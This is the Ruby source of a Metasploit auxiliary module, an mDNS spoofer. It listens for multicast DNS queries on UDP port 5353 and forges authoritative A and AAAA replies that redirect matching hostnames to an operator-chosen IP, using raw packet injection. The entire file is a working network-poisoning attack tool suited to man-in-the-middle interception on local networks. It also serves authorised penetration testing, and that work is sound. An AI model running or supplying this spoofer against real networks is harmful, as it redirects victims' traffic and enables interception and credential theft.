Path: blob/master/modules/auxiliary/spoof/mdns/mdns_response.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'socket'6require 'ipaddr'7require 'net/dns'89class MetasploitModule < Msf::Auxiliary1011include Msf::Exploit::Capture1213attr_accessor :sock, :thread1415def initialize16super(17'Name' => 'mDNS Spoofer',18'Description' => %q{19This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).20},21'Author' => [ 'Joe Testa <jtesta[at]positronsecurity.com>', 'James Lee <egypt[at]metasploit.com>', 'Robin Francois <rof[at]navixia.com>' ],22'License' => MSF_LICENSE,23'References' => [24[ 'URL', 'https://tools.ietf.org/html/rfc6762' ]25],2627'Actions' => [28[ 'Service', { 'Description' => 'Run mDNS spoofing service' } ]29],30'PassiveActions' => [31'Service'32],33'DefaultAction' => 'Service',34'Notes' => {35'Stability' => [SERVICE_RESOURCE_LOSS],36'SideEffects' => [IOC_IN_LOGS],37'Reliability' => []38}39)4041register_options([42OptAddress.new('SPOOFIP4', [ true, 'IPv4 address with which to spoof A-record queries', '']),43OptAddress.new('SPOOFIP6', [ false, 'IPv6 address with which to spoof AAAA-record queries', '']),44OptRegexp.new('REGEX', [ true, 'Regex applied to the mDNS to determine if spoofed reply is sent', '.*']),45OptInt.new('TTL', [ false, 'Time To Live for the spoofed response (in seconds)', 120]),46])4748deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')49self.thread = nil50self.sock = nil51end5253def dispatch_request(packet, rhost, src_port)54rhost = ::IPAddr.new(rhost)5556# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped57# addr like "::ffff:192.168.0.1" when the interface we're listening58# on has an IPv6 address. Convert it to just the v4 addr59if rhost.ipv4_mapped?60rhost = rhost.native61end6263# Parse the incoming MDNS packet. Quit if an exception was thrown.64dns_pkt = nil65begin66dns_pkt = ::Net::DNS::Packet.parse(packet)67rescue StandardError68return69end7071spoof4 = ::IPAddr.new(datastore['SPOOFIP4'])72spoof6 = begin73::IPAddr.new(datastore['SPOOFIP6'])74rescue StandardError75''76end7778# Turn this packet into an authoritative response.79dns_pkt.header.qr = 180dns_pkt.header.aa = 18182qm = true83dns_pkt.question.each do |question|84name = question.qName85if datastore['REGEX'] != '.*' && name !~ /#{datastore['REGEX']}/i86vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"")87next88end8990# Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response.91if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type92qm = false93end9495# qType is not a Integer, so to compare it with `case` we have to96# convert it97responding_with = nil98case question.qType.to_i99when ::Net::DNS::A100dns_pkt.answer << ::Net::DNS::RR::A.new(101name: name,102ttl: datastore['TTL'],103cls: 0x8001, # Class IN, with flush cache flag104type: ::Net::DNS::A,105address: spoof4.to_s106)107responding_with = spoof4.to_s108when ::Net::DNS::AAAA109if spoof6 != ''110dns_pkt.answer << ::Net::DNS::RR::AAAA.new(111name: name,112ttl: datastore['TTL'],113cls: 0x8001, # Class IN, with flush cache flag114type: ::Net::DNS::AAAA,115address: spoof6.to_s116)117responding_with = spoof6.to_s118end119else120# Skip PTR, SRV, etc. records.121next122end123124# If we are responding to this query, and we haven't spammed stdout recently, print a notification.125if !responding_with.nil? && should_print_reply?(name)126print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}")127end128end129130# Clear the questions from the responses. They aren't observed in legit responses.131dns_pkt.question.clear132133# If we didn't find anything we want to spoof, don't send any134# packets135return if dns_pkt.answer.empty?136137begin138udp = ::PacketFu::UDPHeader.new(139udp_src: 5353,140udp_dst: src_port,141body: dns_pkt.data142)143rescue StandardError144return145end146udp.udp_recalc147148# Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response.149dst = rhost150if rhost.ipv4?151if qm152dst = ::IPAddr.new('224.0.0.251')153end154ip_pkt = ::PacketFu::IPPacket.new(155ip_src: spoof4.hton,156ip_dst: dst.hton,157ip_proto: 0x11, # UDP158body: udp159)160elsif rhost.ipv6?161if qm162dst = ::IPAddr.new('ff02::fb')163end164ip_pkt = ::PacketFu::IPv6Packet.new(165ipv6_src: spoof6.hton,166ipv6_dst: dst.hton,167ip_proto: 0x11, # UDP168body: udp169)170else171# Should never get here172print_error('IP version is not 4 or 6. Failed to parse?')173return174end175ip_pkt.recalc176177capture_sendto(ip_pkt, rhost.to_s, true)178end179180def monitor_socket181loop do182rds = [sock]183wds = []184eds = [sock]185186r, = ::IO.select(rds, wds, eds, 0.25)187188if !r.nil? && (r[0] == sock)189packet, host, port = sock.recvfrom(65535)190dispatch_request(packet, host, port)191end192end193end194195# Don't spam with success, just throttle to every 10 seconds196# per host197def should_print_reply?(host)198@notified_times ||= {}199now = Time.now.utc200@notified_times[host] ||= now201last_notified = now - @notified_times[host]202if (last_notified == 0) || (last_notified > 10)203@notified_times[host] = now204else205false206end207end208209def run210check_pcaprub_loaded211::Socket.do_not_reverse_lookup = true # Mac OS X workaround212213# Avoid receiving extraneous traffic on our send socket214open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })215216# Multicast Address for LLMNR217multicast_addr = ::IPAddr.new('224.0.0.251')218219# The bind address here will determine which interface we receive220# multicast packets from. If the address is INADDR_ANY, we get them221# from all interfaces, so try to restrict if we can, but fall back222# if we can't223bind_addr = begin224get_ipv4_addr(datastore['INTERFACE'])225rescue StandardError226'0.0.0.0'227end228229optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton230self.sock = Rex::Socket.create_udp(231# This must be INADDR_ANY to receive multicast packets232'LocalHost' => '0.0.0.0',233'LocalPort' => 5353,234'Context' => { 'Msf' => framework, 'MsfExploit' => self }235)236sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)237sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)238239self.thread = Rex::ThreadFactory.spawn('MDNSServerMonitor', false) do240monitor_socket241end242243print_status("mDNS spoofer started. Listening for mDNS requests with REGEX \"#{datastore['REGEX']}\" ...")244245add_socket(sock)246247thread.join248end249250def cleanup251if thread && thread.alive?252thread.kill253self.thread = nil254end255sock.close256close_pcap257end258end259260261